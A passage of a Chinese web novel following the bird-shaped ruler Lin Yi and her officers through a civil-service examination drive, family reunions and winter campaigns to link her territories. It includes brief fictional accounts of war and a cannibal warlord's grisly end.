清河学宫看着热闹,实际上不算很大,过了半盏茶时间崔凝春的室友就先到了,见到了人,崔殊就觉得之前梁祝的猜测不怎么合理,这少年白胖白胖的,眼睛眯得看不见,一进门没看到崔绚,有些疑惑,一副懵头懵脑的样子。 崔殊都懒得问他什么,又等片刻,崔凝春到了,那寒门胖少年很明显有些怕她,瑟缩了些。崔殊仔细看,见她女扮男装起来非常走心,眉毛化粗化浓了些,耳上有耳洞但不遮掩,直接戴着一对桐叶形状的金耳铛,大大方方的反而让人少了怀疑,她大步流星进门,看到崔殊愣了一下,开口声音也低哑,“殊堂哥?” 崔殊点头,让那胖少年出去,这才开口问道:“范阳做战场之后,族中老小都避到勃海郡那边,那段时间没有科举试,现在打下了更多的地盘,官位多机会多,这趟你要是想去勃海考试,我就带你一起回。” 他也没问崔凝春待在学宫干什么,知道她自己会讲出来。 果然崔凝春犹豫了一下,恢复了本音女声说道:“殊堂哥,我不想考试,我十几年都待在家里面,现在待在学宫里,才感觉像是过了正常的日子……这里很热闹也很好玩,在勃海的时候,我看到白堂姐每天辛辛苦苦忙忙碌碌只是做个小吏的样子,我才不想像她那样早早就操心官场的事了。” 崔殊眉头挑了一下。 崔凝春又笑着说道:“不过等我玩够啦,就去考试,我不可能做小吏的,到时候可能带一些同学去某个县里任职吧,现在先不想那些烦心事。” 她没注意到崔殊打从她回答之后就再也没有开过口,等她兴奋地说完了自己这段时间在学宫的经历,什么组织诗文社团,领着同学出门郊游,最近办了蹴鞠社,还有因为男装得出彩,甚至有两个女孩儿喜欢她之类,听起来很是丰富多彩。 崔殊这才慢慢地说道:“缺不缺钱用?” 崔凝春摇摇头,她和崔凝白不一样,上头只有两个哥哥,都已经成家,她是幼女,家里给钱很大方。 然后崔殊就点点头,看她还有和久不相见的族中兄长叙话的意思,摆了摆手,往门外走,人已经走出半截身子了,又回过头来问:“这次官位多,机会多,你才华足够过考,真不与我走?” 崔凝春摇摇头,她没玩够呢。 已经没得救了。 崔殊出门的时候夜幕已经降临,远远地看到许开荒和张小刀两人抱着领来的书兴奋地翻看,辨认那些字是认得的,哪些字像什么意思,笑了一声。 正如崔殊所说,这次西北大半在手,自西河与上郡,到朔方五原云中定襄,再往雁门代郡上谷,从上到下几乎所有的官员都要大洗牌,原则上已经任官的人员不能二考,但是小吏可以考官试。 打从考试预告公布的那天起,满打满算三个月的备考期,崔凝白就活活把自己埋在了书卷堆里,一副只要学不死,就往死里学的架势,厚着脸皮请教所有能请教的人,每隔十天就给自己来一次模拟测试,努力是非常努力的,成绩是稀烂无比的。 崔殊一回到勃海,马上就成了崔凝白的重要骚扰对象,崔殊给她支招,脸皮这么厚的话,不如去骚扰王澈吧,要是骚扰出感情了还能给他们崔氏增加一门好姻亲,而堂妹是不应该在堂哥洗澡的时候隔着屏风问学的。 崔凝白感到震惊,“这是木屏风啊,你洗你的我问我的,考官人的事怎么能叫骚扰呢?” 崔殊很服气这一点,厚脸皮的人到哪里都能吃得开,哪怕是在堂哥的澡房里。但是想起那个在清河学宫炸鱼塘的崔凝春,他还是觉得崔凝白更能成事一些,别看崔凝白的脑子像是没上油的齿轮,但她是个敢打敢拼的人。 三个月的时间可不是专为了让崔凝白这样的小吏备考的,而是一些离得远的地方要到勃海来考试,路程上不方便,这其实等于招贤令了。乱世崛起一般都是很快的,林一尤其快,短短几年时间想养成官员那是不可能的,何况也才从前年开始有足够的地盘和实力来搞科举这一套,所以做官的人才……还是得从世族和寒门里头出。 脑子这东西不用就是个器官,聪明人用出来就叫权术,崔殊和王澈两人作为林一的外置大脑,已经把这一套玩出花来了,世族从外部很难击败,因为世族只是一个繁衍生息的族群里拿主意的那一群人。 比如范阳崔氏,别看崔氏老宅来来往往几千族人,崔氏能在范阳立足,是因为崔氏的普通族人种着范阳五分之一的地皮,这些普通族人有个别称:平民百姓。世族即宗族,所以世族是打不死的,不是说把崔氏老宅的大门一关,进去宰掉里面姓崔的,崔氏这个世族就被消灭了,不可能的事。 但是世族可以从内部分化,像把一块厚重的肉细细地切成臊子,这样想怎么捏怎么捏,想拌做饺子馅还是打成肉圆子都随便。 江骋撤军时,带走了大量盟友世族主支嫡脉,遗落下来的都是原先就和江骋或杨裳不对付的中小世族和大族的支脉,这些人未必是服从林一,主要是没地方跑,能跑哪去?往江骋那边钻,还是试试能不能去雪域打出一片天?林一的名声在西北可是坏透了,自打雪域骑兵过境放粮,不拆屋打劫,不抢掠妇女,不少人还暗地里觉得可能林一是和那位雪域大汗切割开的,他们以后是在苏赫阿那统治下的,然后就收到了官考(招贤令)的消息。 嗯?嗯?! 追来了,妖女还是追来了,听闻那妖女天姿国色,手腕极强,哄得老头拿出三十万骑兵给她定西北,而她连丝毫遮掩都没有,就想用诱饵来骗我家优秀儿郎去给她做事了! 当然,这是体面人的说法,不体面的中小世族思考的已经不是考试的事了,而是这考试正经吗?到底是要选最有才华的子弟去考试,还是专挑长相出色的呢?色艺双绝的尤物毕竟不多啊。 林一目前是两头跑,西北那边很少去,因为知道苏赫阿那肯定能弄好,她主要是勃海和常山两头跑,勃海算是她的核心政权所在地,而常山那边……听说林一接手了三十万流民、啊不盟军,导致流民全都往常山这边涌过来了,不亲眼见到那漫山遍野的流民,很难亲身体会到什么是乱世。 可怜的、劳碌的鸟大王什么时候才能过上那些流言蜚语里的日子嗷。 第179章 今年的冬日来得略迟,朔方郡和雪域不少部落距离不算远,但气候上差距真不小,按照林一的体感估计,同天的气温大概能有十几二十度的差别。不少准备南下定居的雪域人不往远了走,就在朔方五原一带住下,这些边郡本来就是半农半牧,这下连牛羊都可以驱赶过来养,有的干脆卖掉牛羊整点田地来种。 克托自从来了南方(雪域以南就是南方)之后,就觉得天也不那么冷了,雪也不那么冻了,从前大雪天都是裹着厚厚的毛皮大衣才敢出门,远远看着真不知道是人是熊,现在只是穿一身羊毛衫就敢出屋撒尿,撒了一泡尿往回走,他还格外精致地一拳砸开水缸里的冰面,捞了一把水洗了洗手。 洗完手,他又用冰水抹了一把脸,这辈子自打跟着苏赫阿那起事,和旧贵的家族割裂,克托就是自己一个人生活,邋遢只是他最小的一项缺点,现在也是好起来了。 算算今年约莫有个四十四了,一直都是光棍身,倒不是说他只能打光棍,放什么屁,苏赫部落的万骑长,也没有长得很磕碜,他其实还能参加夏秋集会呢。 克托三十岁左右的时候在夏秋集会上有过一段风流,然后有了个孩子,孩子母亲没肯留下,大着肚子回部落了,在雪域是比较常见的事。然后就是林一还没来的前一年,有个走商的商队带来一个西域女人,苏赫部落不养奴隶,他看着很可怜就留了下来,当正经妻子过的,不过那女人跟了他半年,在一次夏秋集会时和年轻小伙子走了,啊对,同样是很正常的事情。 克托其实也没有很羡慕叶利诃有个好妻子,一双儿女俱全的。只是男人到了年纪,难免就有些公公爹爹的,夜里一个人出门撒尿时看看月亮,就感觉月里嫦娥是不是在瞅他。 啊对,克托只是自己把自己过得比较糙,他其实出身挺好的,是那种从小雪域语和魏语双语教学的雪域贵族家庭,他心里其实还蛮文艺。 谁成想真遇个嫦娥呢? 洗了脸人就清醒多了,克托现在住的是朔方郡临戎县的县城一处大宅里,六间大屋两个院子,他把原来主人家的听曲台子给拆了,弄了个魏式的校场,本来还要雇点人的,但是现在拢共住俩人,克托又不是照顾不了,也就懒得费那个事。 去厨房劈柴烧火,煮了一锅羊奶,翻了翻没找到啥东西,克托就把火拨小了些,走出大门,就近找了个扁食铺子,买了两个手臂长的大烧饼,烧饼里夹满满的红糖心,咬着脆酥酥。 回家先盛了碗羊奶,其实克托喝这玩意儿一直什么都不放,自打成了婚,羊奶一碗加三勺石蜜已经录成梦话刻在脑子里了,小心地放了三勺堆尖的石蜜,然后乐呵呵地和烧饼一起端进屋。 韩黄彩睡得正沉呢。 其实她年纪也并不大,韩小六今年也就二十出头点,韩黄彩嫁人是很早的,十五六岁那会儿的事,反正克托是觉得她小小的一个,又很会骂人,像是一个蹦起来能把人辣一跳的小辣椒。 不能直接叫醒,不然会挨骂,他谨慎地把烧饼放在韩黄彩鼻子底下绕了绕,鼻子动了,然后韩黄彩也慢慢醒了。 睁开眼就看到黝黑健壮的男人朝她露出一个憨厚的笑容来。 “一大早就笑得跟个痴子一样。”韩黄彩揉了揉眼睛,一边接过奶碗一边问道:“街个有没得事情做?小六差不多街个就到了,先头路远,他又急着办事,我连他娘子什么样子都没见过……” 克托疑问:“见过的吧?窝记得新婚那天可敦驮着你来回的捏?” 很有语言天赋的克托,在王澈来之前说正经的洛下音,在王澈来之后说上齐鲁方言,然后开始追求韩黄彩之后,已经是一口流利的江淮方言,就是有时候捏得比较过火,不知道从哪里硬生生又掐出一点吴语感。 韩黄彩起床穿衣洗漱,“你又不晓得,新娘子盖盖头的,要第二天才见公婆,我夜里就又回了呀。” 克托就剩下傻笑了,他也不知道自己为什么总是笑呵呵的,大概是真有了个家的感觉吧,和婆娘一起谈着儿子儿媳要来看望他们的事…… 下午,克托和一群朔方郡官员一起隆重地接待了韩大将军,他站在人群中,脸上不笑了,笑容转移到了其他人的脸上。 朔方郡现在的临时郡守叫乌方,听起来像什么中医治疗秃头的药方,但这位代郡守和魏朝其实没关系,是实打实的雪域贵族出身。他这个人的含金量怎么说呢,他来自北都,之前的塔塔尔部贵族,是经过林一大清洗之后的塔塔尔旧贵族之中,很少的那几个完全没有做过任何恶事的旧贵族,据说是塔塔尔部那位大萨满的义子,学过一点巫医之道。 现在雪域留在朔方郡的定居人口约莫十万,乌方这个代郡守如果在这三个月里干得比较好,很有可能这次朔方郡守的位置不会出现在考官名录里面,而乌方是真的很想进步啊! 韩小六空闲的时间是真不多,这次战后他的军队被调到了常山郡疏通流民,有林一管着,他也难得有了假期,因为韩黄彩在他成婚后不久就在雪域那边和克托也小办了一场婚事,他一直惦记着老娘这边,这次就打了个申请来朔方这边探母。 啊这个……官职比较高导致继父不得不像个喽啰一样站着迎接,那也没办法的嘛。 克托也不是真的地位就低,这次拿下西北他也是有战功的,好像是说他的军功是累成考官制的加分来的,可以等分配也可以自己去竞争上岗,这里头的东西他也没去细究,主打的就是一个信任,信大汗和可敦不会忘记他的。 一通寒暄过后,韩小六不得不答应乌方明天去他那里吃饭,从下午撕扯到傍晚,又把随行亲兵安置下来,才和自家娘子还有克托三人一前两后走在临戎的街市上,克托也有些尴尬,问道:“小六啊,这是崔、崔娘子是吧,你娘还挺想见见的。” 韩小六摸了摸鼻子,点了点头。 街市尽头拐弯就到民居,远远地就已经能闻见一股浓重的红烧肉香气,韩小六这才打起了精神,都不用问克托具体哪家门户,就准确地认清了家门,他有些近乡情怯,孙晓玉却没那么多弯弯绕绕,上前就敲了敲门。 韩黄彩一个闪现就奔到了大门口,打开门先没有去管克托和韩小六父子,马上和孙晓玉对上了视线、对上了…… 孙晓玉(`-′) 韩黄彩:(°ヘ°) 韩黄彩差不多到孙晓玉的胸口那么高,孙晓玉常年杀猪的身板也很健壮,韩黄彩那天吃喜酒时全程都是坐着的,还真没感觉到这么大的差距,她又看了一眼韩小六,发现韩小六比孙晓玉也矮一些哩! 一家人坐下来吃饭的工夫,韩黄彩左一眼右一眼地往孙晓玉那边看,这大个姑娘看起来……是真不错啊。 饭后,韩小六就开始给克托规划未来了,一对半路父子相处起来还是挺尴尬的,不过韩小六之前就和克托认识,先解释了一下什么是军功制加分,简单解释就是军功不直接封赏了,而是算进考试成绩里。 想做文官比较困难,武职就只要一些基础的考核,军功是加分项,以克托现在的军功,他随便走个流程就能做县一级的县尉。想要做到都尉这个位置,管一郡兵马,就要和其他人一起考武试,而别人正常考,你有一个军功加分的优势,只要能及格,这个位置差不多就是你的了。 这下气氛就不那么尴尬了,克托想了想,问道:“这不会不公平吗?比如别人成绩比我好,而我加分就能拿到想要的位置。” 韩小六比较了解搞出这一套的崔殊,也真的和不少人都聊过这些,他摇了摇头,说道:“比封赏要公平,军功其实是很少见的,想拿军功得打仗,这是特殊时期才会有的事,而你本来就该得到军功的奖赏,有了这个加分制,就相当于还要过一层考核才能拿到它,而就算是考官制,也只是现在过度用的制度。” 克托似懂非懂,他对这些东西是真的不熟悉,就是觉得挺复杂,知道自己起步就是县尉,也不失落。他在朔方郡待的时间不短了,他真觉得一个县的地方够大了,魏制万户以上是大县,万户以下算是小县,临戎县不是大县,但好几千户人家呢。 韩小六又给克托解释武试的考核范围,最后嘴皮子都说干了,那边一直偷偷听着的韩黄彩没忍住,问道:“六儿啊,那你秃发叔叔能当个什么官儿?” 一对半路父子面面相觑,克托皱巴着脸摆摆手,“你说你说,我没关系的,没关系的。” 在雪域,这也……是常见的事。 第180章 秃发兀耶,韩黄彩在雪域的几个追求者之一,长得就是比普通雪域男人略丑一些的样子,一个脸黑得发红的壮士,曾经在林一举办的第一届比武大赛上勇夺第一成为百骑长。 韩黄彩对男人长相要求是没那么高的,她体弱多病,就图男人有一个好身板能顶门立户抗事情,所以一看就很显老啊不是,很稳重的秃发兀耶险些打赢了克托。不过韩黄彩自打知道他才二十来岁之后就坚决不肯和这小伙子来往了,这不是她已经在和小六他爹那个混蛋老六眉来眼去的年纪,这小伙子才出生不久吗?造孽的事! 在秃发兀耶失恋之后,克托火速给他介绍了苏赫部落里几个有名的会来事的漂亮姑娘,其实他最看好的就是阿真娜了,这姑娘摆布男人和摆布小羊羔一样容易,但是阿真娜吧……看脸,没法子只能退一步,找了其他盯上了秃发兀耶的姑娘。 克托热心得像是过了几十年忽然想起来曾经和秃发兀耶已故的爹是好兄弟了,很急着要给侄儿介绍对象。而雪域男人有自己的一套规则,被韩黄彩明确拒绝三次后,秃发兀耶就没再死缠烂打,开始试着接触姑娘了,那边韩黄彩心里又有些不是滋味了,克托立马见缝插针挤进了这段感情里,并最终成为赢家。 这就是从可敦那里学来的兵者诡道也。 当然这事克托谁都没去说,也没有炫耀什么,吃了香自己偷着乐呵就行,他看似五大三粗,其实心可细着。 韩小六震惊之余还是给韩黄彩算了算秃发兀耶的军功,说起来前浪确实是不如后浪,年轻的秃发叔叔这次战功不低,放在正常封赏的光景,一个万户侯是跑不掉的,不过按照现在武职来算的话,就差不多是努力努力学点东西应考,能够一个郡都尉的位置。 韩黄彩明显就有些高兴起来了,但她马上就严肃起来,对克托说:“年轻人敢打敢拼是好事,你就这样挺好的,别老是觉得自己还二十岁呢,听小六说了吗?要学点东西!” 克托顿时也高兴了起来。 战后无事,最闲的就是将军,韩小六能在朔方郡待到开春,不过说起来也是受罪,常山那边的气候比朔方好多了,克托觉得朔方住着舒服,那是因为常年在雪域生活惯了,所以韩小六还是挺关注离南边近一些的武职的,准备给克托补一补课了。 朔方这边雪下两尺深,江东的河流都还没上冻,林一最近和陆行搞贸易,给流民弄点粮食吃吃,河北这边比起江东就穷很多,胶东半岛倒是产盐,但是人家江东也不缺。不过陆行缺战马和铁器,他准备从世家之外再扩建一支独属于他的江东军,那要置办的可就多了,林一交易的主要就是生铁和战马,量大管饱。 江东缺什么都不会缺粮食,光是陆氏就能直接掏出林一想要的数目来,这事林一让崔元在中间跑腿,这才有工夫到雍西四郡那边看一眼,不为别的,就害怕长期不关注的情况下,雍西被其他势力不明不白给吞了,要知道不是打下西北那一片就和雍西连上了,中间可还隔着北地郡、安定天水陇西金城那一大片…… 林一在天水郡一处绕村落而流的小溪边准备喝点水捞点鱼休息休息的时候,看到了村里家家户户门口挂着一只死不瞑目的鸡头,有的人家还比较高级,整了山鸡的头,那看起来就更像是她的脑袋了。 她有些迟疑了,上次在清河郡的时候,她就看到家家户户门口用竹竿挂鸡头,她以为是什么旧风俗,问了崔殊也没有问出什么来,就忘在了脑后,后来她慢慢发现在河北胶东到辽东一带,哪里都能看到这些鸡头,慢慢地也就释然了,可是天水郡从前没有这个习俗的吧?她来过很多次了啊。 林一离那些死不瞑目的鸡头远了一些,往雍西那边飞去。 与此同时,姜命人在安定郡,安定是他手下女将白二的老家,白二带着雍西军刚打下这里不到两天时间,或者更严格一点来说,十天前他被通知了白二偷偷摸摸组织起了一些民兵占领了金城郡,星夜兼程赶到金城郡的时候被通知了白将军已经带着军队出发赶往安定郡了,等他再赶到安定郡的时候,安定这边已经被打掉大半个了。 姜命真不是打仗的那块料,他在雍西主要是带着庞家姐妹和祝若嫣搞经营这一块的,中原如今大乱,很多货源地都在发生战乱,但商人仍然多,甚至因为一些奢侈品的货源短缺而卖价更高了,掌握着这样一条堪称独一无二的商路,想发展起来也是很快速的。 之前在辽东也是这样,姜命只是发展经营,他不知道为什么只是经营了两年,就把辽东经营得人人敢战,辽东军舍生忘死不避强敌,成为如今林一手中军团里最悍勇的一支。 白二刚打下安定的郡治,盔甲还染血未擦,就兴冲冲地过来向姜命复命,“姜郡守,这回打仗可多亏了咱老乡帮衬!鸟大王的名声,早八辈子就响彻天下了,老乡们黑天白日地巴望着咱来嘞!俺剁了那狗官的头,尸首叫老乡们拥上去捶成了烂泥,啥是众望所归!这奏是。” 姜命揉了揉太阳穴,但还是很高兴的,说道:“白将军立大功了,上次传战报来,大王已经攻下西河一带,这样只要打通北地郡和上郡,我们就能和大王的地连成铁板一块,不过这次不可轻举妄动,等战报传过去,我们和朔方那边左右夹击此二郡,使其不能互援,能减少很多战损。” 这就有一些过分惜兵了,按照白二的想法,现在手底下士卒的士气正盛,一口气吃下两郡这多显得她能!等报上战功,这战绩又得多漂亮?但是她习惯听姜命的话了,动了动嘴巴还是没没吭声。 姜命又道:“等过几天,把安定郡守府修一修,不要大动,门框挑高一些,这些府邸本身里面房梁架得就够高了,只是门框修得矮了些,不够大王鸟身出入,再打一套大的桌椅茶几,按照张掖那边的规格来。” 这话不是对白二说的,是对身边的随侍吩咐的,白二就咧开了嘴巴,“还是郡守心细,就是大王都好久没来……” 话音未落,林一伸进门一个鸟头。 这里不是安定郡守府,而是一座县城的县衙府邸,门框是有点小,小得姜命第一次看见林一还能从一只金红五彩的漂亮巨鸟把自己缩得扁扁,脖子往里缩,背脊向下压,以一种很像是夜鹭夜师傅的猥琐田园企鹅姿势挤了进门,然后扑棱扑棱身子又蓬松魁梧了起来。 白二也是第一次见,嘴巴张得老大一个,林一险些以为朝她要鸡蛋吃呢,口吐人言乐呵呵地道:“行啊,没想到你们都打到这里来了,我刚才从武威过来的,今年那边战事多,来得少了些,想不到一来就是个大惊喜!” 她张开翅膀就给了满身血气的白二一个鸟抱,扑面过来就是蓬松温暖的羽毛,白二差点呛了,等林一松开她,已经激动得涨红了脸说不出一句话来了。 姜命冷静地道:“这次主要是白二娘子和庞家姐妹的功劳,雍西军……我之前真没有想过招兵的事,都是入冬以来庞家姐妹张罗,白将军亲自训练……” 林一管他这个那个的,也给拖过来不由分说抱了一下,姜命被放开时,原本梳的整整齐齐的发冠底下就被插了一头的绒羽,看起来颇为滑稽,滑稽之中又透着一股清澈的正气。 林一很自然地道:“不过打到这里已经足够了,我刚才看了一下,三万雍西军是吧?很多新兵没打过仗的,先等一等,等我从朔方那边调一些雪域骑兵,我们争取在过年之间把地盘给连起来。” 这话要换成姜命说,白二至少心里也得嘀咕嘀咕,但换成林一就不一样了,她涨红着脸像个点头娃娃一样,林一都笑了,一点都不吝啬夸赞道:“白二,你是我非常看好的武将!” 啊对对对,这就是鸟大王的词汇量了。 反正白二也没怎么听过夸,喜得已经想脱了盔甲下河游一圈冬泳了。 姜命这个时候就没有插话,他一向非常谨慎识时务,虽然作为白二的直属上司,他可以在这个时候找点存在感的,揽功劳上身更是简单,但他的人品就是金字招牌,是林一信任他的因由所在。 不过林一确实没想到雍西这边能带给她这样大的惊喜,主要也就是打仗忙起来的这小半年没怎么来啊,一来就得知雍西四郡变成六郡了,还自己组织出了一支雍西军,总觉得好像没有她这个主君,她的手下好像也都能……自己创业的样子啊? 鸟大王摇了摇鸟头,把这点怀疑从脑子里摇出去,怎么可能呢?她难道不是创业奇才吗?魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 180-187 第181章 这个冬日对大多数林一地盘上的人来说,是个难得和平安定的冬日,世族忙着备考,平民无税无灾,可以安心地过冬。 但其实三大势力没有一家闲着,林一准备打通雍西到西北一带,让自身的地盘不再分离,可不止是北地郡,还有陇西和天水郡呢,这样直接就和江骋的三辅之地接壤,以后想去锤他也很方便。 而江骋,林一其实是偷偷去看过的,作为一个鸟人,她不光在这片大陆溜达,闲下来的时候也往山的这边海的那边飞飞,对如今九州这片地方有更深刻的了解。 江骋如果只是逃亡,那按照林一的想法宰就宰掉了,她可以单挑弄死他,但江骋说起来也不是一个人,他是整个西北军势力的首脑,就和那个世族的比喻是一样的。一个杀人如麻的军团失去了铁血统治的首脑,无论是落入其他人手里,还是流散成为溃兵匪兵,都是对中原几个郡的天灾级别的人祸。 江骋的约束力该说不说是真的强,西北军习惯了服从,习惯了江骋的缰绳,张弛之间指哪打哪。距离洛都沦陷已经有些时日,清理了原本的旧官僚和贵族之后,西北势力正式登台,这个过程之中,洛都和周边的百姓基本上没有受害。 还是那句话,在没有利用价值的时候,江骋也不是什么魔鬼,他是名将世家之后,父叔双虎共镇三关,他少时也曾想过保家卫国,也曾被祖母牵着手走过军镇,变卖家业接济旧部遗孤,后来祖母去世,他也从少年走到了青年,见过人间疾苦。他的横暴是有目的性的,有时为了减少军队战损,有时为了震慑守城势力,在没有这些目的性的时候,他甚至是对百姓非常好的。 没办法,自从魏朝乱起,林一见过的抽象反王太多了,巴蜀那边一直散装得厉害,最近百姓们也团结一心了。起因就是出了一个叫孙达的吃人魔王,他是山里盗匪出身,在巴蜀乱成一锅粥的时候拉了兄弟起事,然后张小刀许开荒那一批义匪不是响应魏朝号召去讨逆了嘛?山中无老虎,孙达称了王,带着自己的匪军到处烧杀抢掠。因为匪军悍勇,连续占下巴蜀两地以及广汉郡,基本上可以称为巴蜀王了,只要自己不作死,毕竟巴蜀这些地方还没有过江龙跑来占场。 但是孙达不一样啊,他在做土匪的时候就好吃活人心肝,还喜欢自己动手来剜,以前在山里待,只能抓了过路人就吃,是不讲究什么方式方法的。 自打当上了巴蜀王,他马上就挑嘴起来了,一时要吃少女心肝,一时又听狗头军师分析,说孩童心肝更滋补,只是他一个人吃的话,说实话不遇到林一这种鸟人,老百姓想着刀子没落在自己头*上,真能闹起来反抗的不多。 可孙达做了上位者了,他自己可能对“王”的理解就是想干什么干什么,老子天下第一,不晓得上有所好下必从焉。有人想讨好他,就先研究吃人心肝的菜谱,也有人想拉进关系,培养和大王一样的兴趣,总之吃活人心肝这么个残忍癖好就流传开了,受害面变广了,把治下黎民完全推到对立面了。 然后他就嘎得很不安详,众志成城推翻这吃人魔王的百姓有样学样剜出了他的心肝分吃,因为人数太多,最后一人从他身上片一片肉下来生吃表示痛恨,算是近年来的抽象反王里死得最惨的一个。 除此之外,还有把割据当成自家后花园的,想让老百姓不吃不喝全部给他家当佃户的,也有几家世族联盟搞事想踢掉其他世家最后互攻而死的,还有匪首+世族军师配置起事,匪首真把军师当家奴用被坑死的,不一而足。总之世道乱,就江骋如今这个势力规模,他已经算是灵长目的一批。 这个冬季,江骋准备将地盘南下拓展至九江郡,可以想见的是他预备锤陆行了,陆行暂时还不知情,在几次试探都没等打过琅琊那一线后,他放弃和林一争地了,最近琢磨着岭南那块。 岭南地热多瘴气,但魏朝可一直没有放弃,因为这地方哐哐产粮,哪怕派去的郡守大多是消耗品,一边种地一边要和疫病斗争,有时候还要和野人打打,但是陆行琢磨他现在兵多将广,不像魏朝那会儿的光景了,打下岭南多占一块粮仓,何况那地方的人又有啥战力呢? 这就是情报信息差啊,兵如水势,陆行把大头拉去岭南,而江骋集兵攻打九江郡,要是时机恰好,陆行就算得到了消息也赶不回来,这事放到其他势力也是一头雾水的,毕竟人家势力内部不可能把调兵的风声传到你耳朵里对吧?但是林一这个街溜子就能知道,并且马上缺德地决定苦一苦陆行,她也要趁着机会忙活忙活,也许能吃个大的。 简单梳理一下三大反王在这个“和平冬日”的作战计划:陆行准备去锤岭南,江骋准备去锤陆行,林一知情但是两边不告诉,趁着江骋去锤陆行准备偷个家。 真是一场酣畅淋漓的偷家! 当然,现在所有人的关注点可不是鸟大王把军队拉哪儿去了,而是年后的科举,据内部风声,这次的机会真的很多,而且很可能下次再考就不会有郡守级别的官位待考了,因为官员的数量渐渐上来了,如果再有郡守变动的情况,以有经验的大县之长升任郡守要比直接考来得严谨。 之所以现在有这样的机会,就是林一在招贤纳新,你不在人家事业起步或者上升阶段加入,非要观望,要等到人家上市了才来应聘,前者是合伙人,后者是打工人啊。 好多世族都已经抹着眼泪送自家漂亮儿郎奔考场了。 说实话,林一在世族里的名声是很差,但是她在世族之外的名声好得一塌糊涂,也就是没文化,不然这些气歪着嘴巴看世族逼逼赖赖的平民高低得给林一攒出五百万字的赞词来。 入夜,今晚林一从安定郡出来,没飞太远,飞往常山驻军大营,本来是想找呼兰霍兰的,自从西北那边战事平定,呼兰霍兰就火速离开了雪域骑兵的队伍回到常山这边来。倒不是说他有多心虚啊,是知道他和苏赫阿那待在一个地方,林一会为难,他其实就很不理解为什么有的世族能让自己的三五个女人住一起,晚上要找其中一个睡觉的话,其他人都会知道,这样不会伤心吗? 他反正就很不爱听见大汗可敦昨晚睡一起了之类的话,白天听了沉闷一整天,晚上听了直接不用睡了。 林一来的时候呼兰霍兰正和几个同族兄弟围在一起烤羊吃,羊这东西哪里都有,反正呼兰霍兰是吃不出来他们说的口感区别,他觉得就是羊味大和味小的区别而已,林一一过来,几个呼兰子弟一哄而散,有个嘴快的被两人架走之前还叭叭地说:“霍兰大哥今晚有喜啊,大王……” 话没说完被拿一只羊蹄子堵住嘴巴架着走了。 林一也不客气,坐下来就撕了一块羊肋排肉吃,“他们也来了?不是说好多人都在西北不肯走吗?” 这几个人林一是认识的,呼兰部落里面和呼兰霍兰同辈的几个兄弟,其实有人比呼兰霍兰大,但统一叫他族长大哥,也不晓得这部落怎么算的辈分。 呼兰霍兰点点头,说道:“他们想来南方看看。” 这里是河北常山……好吧,对雪域人来说,雪域以南都是南方。林一没在意这个话题,把雍西那边的事情说了,又说了准备年前将两地打通的事,呼兰霍兰又点头,“此事用不着大汗,我去就行,什么时候出发?” 林一轻咳了一声,“后天。” 呼兰霍兰是真的有些疑惑了,一般林一过来通知什么事,最常见的是马上走,稍微好一点是明天,她就是这样风风火火的一只鸟,好像爪子永远不肯落地一样,他其实也就是问现在走还是明天走而已,这个答案很少见啊。 少见,不是没有过,呼兰霍兰沉思片刻,眼睛忽然亮了一下。 林一端起水盆,也不管是谁喝剩下的,反正就是吨吨吨了几大口,抹了抹嘴巴,非常正直地说道:“军中有些脏乱了,明天让士卒们把军营大扫除一下,做做卫生,不要因为冬天没什么气味就懒起来了,至于你,让我检查检查……” 她把呼兰霍兰搂进怀里深吸一口,有些烤羊的香气沾染在衣物上,除此之外没什么异味,呼兰霍兰在冬天也会坚持每日洗澡,有时候来不及就洗一洗雪澡,而常山最近下雪了,怪不得靠近了能闻见他身上有一种冬雪的冷冽。 夜色忽明忽暗,寒风呼呼地吹,把呼兰霍兰的帐子吹得吵吵嚷嚷,这一夜亲兵巡逻都绕开了这片营地,开玩笑,巡逻是为了安保,谁能冲进来单杀他俩。 第182章 十月初,年关将近,林一在上郡集兵两万余,其中一万五千苏赫骑兵,三千呼兰骑兵,还有两千很特殊,是黑石部落的骑兵,这是林一原先在打塔塔尔部时攻下来的前哨站,原本是一个大型煤矿工地,黑石部落就是由被解救的矿奴组成。 如今几年过去,黑石部落人口已经过两万,经历了几次夏秋季,也有不少年轻人成了家,这次雪域大举南下,黑石部落响应苏赫王部的号召共计出兵五千。这次林一要兵比较急,只能说在附近的黑石人全都拍马赶到了这里,还是一人带三马的经典急行军配置。 这基本上就算是雪域精兵中的精兵了,不是说其他那些中小部落的战力不行,而是如果不是自己部落的话,打起仗来不会用全力的,三十万青壮雪域骑兵要是真的全都悍不畏死,别讲江骋了,历朝历代武庙前十,出来瞅见的时候都得倒吸一口凉气,还能让他从容撤军?顺带一提,经过了平稳期的拉扯,目前西北这边的地盘和江骋的中原势力是以汾水为界,就是之前江骋屠戮天水军的地方。 其实雍西那边还是情报不通,之前给他们传达战报时雪域大军刚下西河,姜命就以为要打的是上郡和北地郡两处,其实不是的,只不过是上郡这边没怎么发生战事就投了,而隔着地方远,林一来的时候又没说,这趟林一带这么多兵力可不是专为了打北地郡来的,而是为了趁机拿下陇西,也许不止陇西。 两万精骑列队休整半日,从上郡出发,北地郡的位置就处于安定和上郡之间,这位置可一点都不安定,出发的时候天气还好,走了小半日就有风雪至,要是带的是其他军队,林一就得停下来休息避风雪了,但雪域骑兵啊,管你这个那个的。 大军沿途也不遮掩行踪,过村庄不入,每次都是直取县城,而且取得非常容易,就差大军一至城门立开。林一其实感觉到了,被江骋占过的郡都有些软塌塌的,很少有愿意死守的,第一是西北军撤走了,忠诚的士卒跟着江骋走了,第二就是原先可能死守过的城池,在被破城后结局都不怎么好。像一个战士,硬骨头都被人砸碎了,这种经验不是乱世真的总结不出来。 林一原本预计的是年前能打通北地郡就很好了,其他的可以花两三个月,当然,对十月历法的世界来说,一二月也都在冬季里面嘛,但是吧,她发现打北地郡的速度好像和骑兵行军的速度是差不多的,光是她一边在打也就算了,安定郡也在抵着北地郡干啊! 正直的鸟大王发现这个战局分析有些不怎么对劲,马上晃了晃脑袋把黄水倒出去,并拧了呼兰霍兰一把,叫你大雪天行军还嫌热,把自己当老虎了是吧?敞什么怀啊你! 十日速通北地郡后,郡治富平被攻下,这次安定郡那边带兵过来的人让林一挺意外的,她以为是白二,但是兜鍪摘下,却是祝若嫣那张明艳动人的脸庞。 说真的,林一都快忘记祝若嫣了,她伸手捏了一下祝若嫣的脸颊,惊道:“真的是你呀,小祝,你从玉门那边过来的?” 祝若嫣都噎了一下,战事起来得这么快,我从玉门那边过来?我又不能飞! 